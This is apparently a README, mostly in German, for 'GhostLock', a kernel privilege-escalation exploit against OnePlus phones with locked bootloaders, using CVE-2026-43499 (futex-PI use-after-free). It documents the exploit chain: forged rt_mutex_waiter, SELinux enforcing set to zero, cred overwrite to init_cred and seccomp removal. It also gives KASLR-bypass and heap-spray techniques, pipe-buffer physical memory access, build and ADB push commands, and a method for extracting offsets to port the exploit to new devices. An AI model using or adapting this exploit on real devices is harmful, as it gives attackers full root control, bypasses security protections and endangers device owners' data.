
(CVE-2026-43499)内核漏洞利用程序,适用于未解锁 Bootloader 的一加设备。
Kernel-Exploit für OnePlus-Geräte mit gesperrtem Bootloader. Nutzt CVE-2026-43499 aus, um Root-Zugriff zu erhalten ohne den Bootloader zu entsperren oder boot.img zu modifizieren.
Nur für autorisierte Sicherheitsforschung und Bildungszwecke.
| Element | Detail |
|---|---|
| CVE | CVE-2026-43499 |
| Typ | Futex-PI (Priority Inheritance) Use-After-Free |
| Bereich | Linux-Kernel 2.6.39 ~ 7.1 |
| Behoben in | Mainline 7.1 (Commit 3bfdc63936dd) |
| Android-Status | GKI 6.12.x weiterhin angreifbar |
Der Syscall pselect6 kopiert fd_set auf den Kernel-Stack. In Kombination mit dem Futex-PI-Waiter-Mechanismus kann ein freigebener Stack-Frame als rt_mutex_waiter-Struktur neu zugewiesen werden. Während der PI-Kettendurchläufe schreibt der RB-Baum-Ausgleich kontrollierte Daten an beliebige Kernel-Adressen.
futex PI UAF (CVE-2026-43499)
├─ Fälschen eines rt_mutex_waiter-Objekts
├─ Kontrolle des Kernel-Stacks über pselect/select fd_set-Layout
├─ Auslösen einer rt_mutex-PI-Operation für beliebiges Schreiben
├─ Schreiben 1: selinux_state.enforcing = 0
└─ Schreiben 2: cred → init_cred (uid=0, volle Capabilities)
Andere OnePlus-Geräte derselben SoC-Familie, Android 16 oder Kernel 6.12.x können durch Extraktion von boot.img-Offsets angepasst werden.
GhostLock übernimmt die Privilegienausweitung. Die Installation von KernelSU erfordert ksud (gebündelt mit KMI-spezifischem kernelsu.ko):
| Quelle | Hinweise |
|---|---|
| ReSukiSU APK (empfohlen) | Installiere ReSukiSU; die APK enthält |
Ohne ksud erhält der Exploit weiterhin eine uid=0 Root-Shell, aber KernelSU wird nicht installiert und
subleibt nicht dauerhaft bestehen.
ANDROID_NDK_HOME oder ANDROID_NDK_ROOT# Standard (API 35)
make
# API-Level angeben
make API=34
# NDK-Pfad angeben
NDK=/pfad/zu/android-ndk make
ghostlock — statisch gelinkte ARM64-ELF-Datei.
# 1. ADB TCP-Modus aktivieren
adb tcpip 5555
# 2. ADB-Schlüssel pushen (erforderlich für Bootstrap-Modus)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Exploit pushen
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
Nach dem ersten Erfolg setzt
resetpropautomatischpersist.adb.tcp.port=5555, sodass bei nachfolgenden Neustarts vollautomatische Ausführungen möglich sind.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop ausführen, um ADB TCP 5555 zu aktivieren127.0.0.1:5555/data/local/tmp/a/e --write1
Offsets werden in src/devices/offsets.h – einer Lookup-Tabelle – gespeichert, indiziert durch uname -r. Das Programm matcht automatisch beim Start; unbekannte Kernel werden abgelehnt.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* Sentinel */
};
Wenn Kernel-Pointer eingeschränkt sind (kptr_restrict), lecke die Basisadresse über boot_id, das mit einer Kernel-Adresse überschrieben wurde:
Lese /proc/sys/kernel/random/boot_id
└─ UUID enthält nfulnl_logger-Adresse
└─ KASLR-Slide = geleakte_Adresse - image_offset
└─ kaslr_base
Wenn das ashmem-Gerät zugänglich ist, verwende configfs-Lese-/Schreib-Primitive, um Funktionszeiger aus der ashmem-fops-Tabelle zu lesen und den KASLR-Offset zu berechnen.
Fälsche Kernel-Objekte auf Order-3-Seiten (32KB):
file_operations — übernehme ashmem-miscdevice-fops-Zeigerrt_mutex_waiter — simuliere PI-Ketten-Waiter-Knotentask_struct — Task-Referenz während PI-Durchlaufrt_mutex (Lock) — korrekte Waiter-/Owner-InformationenImplementiert über SKB (Socket-Buffer) + KernelSnitch:
mm_struct-Adressensendmsg zum Füllen des Kernel-HeapsNach Erhalt der KASLR-Basis verwende Pipe-Buffer für physischen Speicherzugriff:
1. Lokalisiere Pipe-Buffer in der Physmap
2. Fälsche pipe_buffer-ops-Tabelle, die auf bekannte pipe_buf_ops zeigt
3. Übernehme pipe_buffer.page, um auf die Ziel-Physische-Adresse zu zeigen
4. Beliebiges physisches Lesen/Schreiben über normale Pipe-Operationen
Unterstützt: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Ziel: selinux_state.enforcing (Offset 0x00)
Methode: Child-Knoten-PI-Schreiben → fälsche waiter __rb_parent_color
der auf selinux_enforcing - 8 zeigt
RB-Baum-Ausgleich schreibt 0x00
Ziel: child-Prozess-cred-Zeiger
Methode: 1. fork child → perf_find_task() lokalisieren task_struct
2. cred-Feld-Offset berechnen
3. Child-Knoten-PI-Schreiben → cred = init_cred (uid=0, volle Caps)
4. seccomp löschen (TIF_SECCOMP + seccomp-Struktur genullt)
Nach dem cred-Überschreiben erfolgt eine Capability-Rücklese-Überprüfung.
src/core/miniadb.c — leichter ADB-Protokoll-Client für den Bootstrap-Modus:
1. TCP-Verbindung 127.0.0.1:5555
2. A_CNXN → Verbindungsanfrage
3. A_AUTH → RSA-Token-Challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signierte Antwort
6. A_CNXN → Verbindung hergestellt
7. A_OPEN "shell:/data/local/tmp/a/e" → vollständiger Exploit
Unterstützt SHA-1- und SHA-256-Signaturalgorithmen.
ghostlock-oneplus/
├── Makefile # Build-Konfiguration (NDK-Cross-Compile)
├── README.md # Dokumentation
├── src/
│ ├── core/ # Kern-Exploit-Code
│ │ ├── main.c # Einstiegspunkt: Zwei-Stufen-Schreiben + Root-Shell
│ │ ├── fops.c # FOPS/CFI-Modus: pselect-Route, PI-Schreiben, KASLR-Leak
│ │ ├── util.c # Hilfsfunktionen: Heap-Spray, KASLR, Kernel R/W-Primitive
│ │ ├── slide.c # SLIDE-Modus: boot_id KASLR-Leak + pselect-Route
│ │ ├── pipe.c # Pipe-Buffer physischer Speicher L/Schreiben (physrw)
│ │ ├── root.c # Cred-Überschreiben, seccomp löschen, Root-Child-Verwaltung
│ │ ├── miniadb.c # Integrierter ADB-Client (TCP + RSA-Auth)
│ │ ├── common.h # Globale Makros, Strukturen, Deklarationen, Konstanten
│ │ ├── target.h # Zielspeicherlayout / Struktur-Offsets / KASLR-Parameter
│ │ ├── offset.h # Compile-Zeit-Zielkonfigurationsbrücke (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct-Adressen-Leak
│ │ ├── kernelsnitch.h # Kernalgorithmus: Futex-Hash-Kollision + Brute-Force
│ │ ├── futex_hash.h # Futex-Hash-Funktion
│ │ ├── timeutils.h # CPU-Zeitstempel-Messung (RDTSC)
│ │ └── utils.h # Hilfsmakros (pr_info / SYSCHK / ASSERT usw.)
│ └── devices/ # Geräte-Offset-Tabellen
│ ├── offsets.h # Aggregiert alle Geräte-Offsets (Lookup-Tabelle + Sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T Offsets (2 Kernel-Versionen)
│ └── op15/offsets.h # OnePlus 15 Offsets (1 Kernel-Version)
└── tools/ # Offset-Extraktions-Toolchain
├── extract_target.py # Extrahiere Kallsyms globale Symbol-Offsets (28 Elemente)
└── extract_btf.py # Extrahiere BTF-Strukturfeld-Offsets (57 Elemente)
Nur das boot.img des Zielgeräts wird benötigt — kein Root, kein Gerätezugriff erforderlich.
# 1. Kernel aus boot.img extrahieren
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Kallsyms holen (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Oder aus vmlinux: nm vmlinux > kallsyms.txt
# 3. Globale Symbol-Offsets extrahieren
python tools/extract_target.py # 28 Offsets, automatisch verifiziert
# 4. Strukturfeld-Offsets extrahieren
python tools/extract_btf.py kernel # 57 Offsets, automatisch verifiziert
src/devices/<name>/offsets.h (siehe ace6t/offsets.h)#include in src/devices/offsets.h hinzufügenKIMAGE_TEXT_BASE und Speicherlayout in src/core/target.h aktualisierenStelle sicher, dass du in einer ADB-Shell ausführst. Der App-Kontext erfordert --bootstrap.
Deine Kernel-Version wird noch nicht unterstützt. Folge den Schritten unter Hinzufügen neuer Geräte, um Offsets zu extrahieren und neu zu erzeugen.
CORE-Makro)PSELECT_ENTER_DELAY_USEC-Timingsperf_event_open blockiert (verwende --bootstrap im App-Kontext)kaslr_base gültig)ksud existiert und ausführbar istload_policy-Fix)Nur für autorisierte Sicherheitsforschung und Bildungszwecke.
| Gerät | Codename | SoC | Kernel | Firmware | Status |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ Verifiziert |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ Verifiziert |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ Verifiziert |
libksud.so| CI Release | Herunterladen von ReSukiSU CI (ksud-aarch64-linux-android.zip) |
| Typ | Anzahl | Extraktion |
|---|
| kallsyms globale Symbole | 28 | tools/extract_target.py |
| BTF-Strukturfelder | 57 | tools/extract_btf.py |
| Abgeleitete Werte | 9 | Automatisch berechnet |
| Feste Konstanten | 12 | Hartcodiert |
| Struktur | Felder | Zweck |
|---|
task_struct | 17 | Prozessdeskriptor, cred, seccomp |
rt_mutex_waiter | 6 | UAF-Fälschungsziel |
cred | 4 | Anmeldeinformationen, Capabilities |
seccomp | 3 | Seccomp-Filterstatus |
pipe_inode_info | 11 | Pipe-Buffer-Operationen |
file_operations | 13 | Gefälschte fops-Tabelle |
mm_struct | 1 | Speicherdeskriptor-Eigentümer |
| Modul | Datei(en) | Verantwortlichkeit |
|---|
| Einstieg | main.c | CLI-Parsing, W1/W2-Dispatch, Bootstrap-Ablauf |
| PI-Route | fops.c / slide.c | pselect/select-Stack-Layout, Futex-PI-Ketten-Manipulation |
| KASLR | util.c / fops.c / slide.c | Dual-Mode-Umgehung: boot_id-Leak + fops-Tabellen-Leak |
| Heap Spray | util.c | Order-3-Seitenallokation, SKB-Spray, Fälschung von Objekt-Layouts |
| Phys. L/Schr | pipe.c | Pipe-Buffer-Übernahme, beliebiger physischer Speicherzugriff |
| Privilegien-Ausw. | root.c | Cred-Überschreiben, Capability-Überprüfung, seccomp löschen |
| ADB | miniadb.c | Leichter ADB-Protokoll-Client, RSA-Authentifizierung |
| Leak-Engine | kernelsnitch/ | Futex-Hash-Kollision für mm_struct-Position |
| Element | Hinweise |
|---|
VA_BITS | 48 vs 39 → target.h Speicherlayout aktualisieren |
| Timing | Passe PSELECT_*-Parameter in common.h an |
| Ashmem | C vs Rust-Implementierung → Symbol-Matching in extract_target.py aktualisieren |
| Secureguard | Nicht-OnePlus-Geräte können die Bereitstellung vereinfachen |